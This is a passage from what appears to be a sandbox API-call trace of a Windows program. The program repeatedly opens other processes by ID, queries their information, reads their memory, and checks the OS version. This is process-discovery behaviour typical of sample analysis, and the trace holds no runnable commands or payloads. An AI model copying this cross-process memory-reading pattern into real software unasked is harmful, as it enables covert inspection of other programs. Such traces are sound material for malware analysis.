ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.380] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.381] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.381] malloc (_Size=0x76) returned 0xea8fa0 [0349.381] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22c6, lpBuffer=0xea8fa0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8fa0*, lpNumberOfBytesRead=0x0) returned 1 [0349.381] free (_Block=0xea8fa0) [0349.381] CloseHandle (hObject=0xa9c) returned 1 [0349.381] _ui64tow_s (in: _Value=0x15b0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5552") returned 0x0 [0349.382] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5552") returned 4 [0349.382] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.382] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.383] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15b0) returned 0xa9c [0349.383] GetLastError () returned 0x0 [0349.383] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.383] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.383] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.383] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.383] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.383] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.384] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.384] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.384] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.384] malloc (_Size=0x5e) returned 0xeb6070 [0349.384] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ae, lpBuffer=0xeb6070, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6070*, lpNumberOfBytesRead=0x0) returned 1 [0349.384] free (_Block=0xeb6070) [0349.385] CloseHandle (hObject=0xa9c) returned 1 [0349.385] _ui64tow_s (in: _Value=0x15cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5580") returned 0x0 [0349.385] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5580") returned 4 [0349.385] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.385] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.386] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15cc) returned 0xa9c [0349.386] GetLastError () returned 0x0 [0349.386] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.386] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.386] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.386] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.386] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.387] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.387] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.387] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.387] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.387] malloc (_Size=0x66) returned 0xeb6380 [0349.387] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722b6, lpBuffer=0xeb6380, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0349.388] free (_Block=0xeb6380) [0349.388] CloseHandle (hObject=0xa9c) returned 1 [0349.388] _ui64tow_s (in: _Value=0x15e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5600") returned 0x0 [0349.388] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5600") returned 4 [0349.388] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.388] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.389] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15e0) returned 0xa9c [0349.389] GetLastError () returned 0x0 [0349.389] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.389] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.389] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.389] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.390] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.390] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.390] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.390] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.390] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.390] malloc (_Size=0x6c) returned 0xea94a0 [0349.390] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922bc, lpBuffer=0xea94a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea94a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.391] free (_Block=0xea94a0) [0349.391] CloseHandle (hObject=0xa9c) returned 1 [0349.391] _ui64tow_s (in: _Value=0x1614, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5652") returned 0x0 [0349.391] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5652") returned 4 [0349.391] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.391] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.392] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1614) returned 0xa9c [0349.392] GetLastError () returned 0x0 [0349.392] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.392] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.392] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.393] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.393] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.393] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.394] malloc (_Size=0x54) returned 0xeaa170 [0349.394] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22a4, lpBuffer=0xeaa170, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa170*, lpNumberOfBytesRead=0x0) returned 1 [0349.394] free (_Block=0xeaa170) [0349.394] CloseHandle (hObject=0xa9c) returned 1 [0349.394] _ui64tow_s (in: _Value=0x161c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5660") returned 0x0 [0349.394] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5660") returned 4 [0349.395] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.395] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.395] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x161c) returned 0xa9c [0349.396] GetLastError () returned 0x0 [0349.396] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.396] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.396] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.396] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.396] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.397] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.397] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.397] malloc (_Size=0x6c) returned 0xea9820 [0349.397] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a22bc, lpBuffer=0xea9820, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9820*, lpNumberOfBytesRead=0x0) returned 1 [0349.397] free (_Block=0xea9820) [0349.398] CloseHandle (hObject=0xa9c) returned 1 [0349.398] _ui64tow_s (in: _Value=0x1638, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5688") returned 0x0 [0349.398] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5688") returned 4 [0349.398] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.398] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.399] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1638) returned 0xa9c [0349.399] GetLastError () returned 0x0 [0349.399] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.399] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.399] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.399] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.400] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762258, lpBuffer=0x5ec5a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.400] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.400] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.400] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.400] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x761c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.400] malloc (_Size=0x78) returned 0xea93a0 [0349.400] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7622c8, lpBuffer=0xea93a0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea93a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.401] free (_Block=0xea93a0) [0349.401] CloseHandle (hObject=0xa9c) returned 1 [0349.401] _ui64tow_s (in: _Value=0x1640, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5696") returned 0x0 [0349.401] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5696") returned 4 [0349.401] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.401] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.402] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1640) returned 0xa9c [0349.402] GetLastError () returned 0x0 [0349.402] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.402] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.402] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.403] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.403] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.403] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.403] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.403] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.403] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.404] malloc (_Size=0x6e) returned 0xea94a0 [0349.404] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22be, lpBuffer=0xea94a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea94a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.404] free (_Block=0xea94a0) [0349.404] CloseHandle (hObject=0xa9c) returned 1 [0349.404] _ui64tow_s (in: _Value=0x1648, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5704") returned 0x0 [0349.405] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5704") returned 4 [0349.405] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.405] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.405] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1648) returned 0xa9c [0349.406] GetLastError () returned 0x0 [0349.406] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.406] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.406] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.406] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.407] 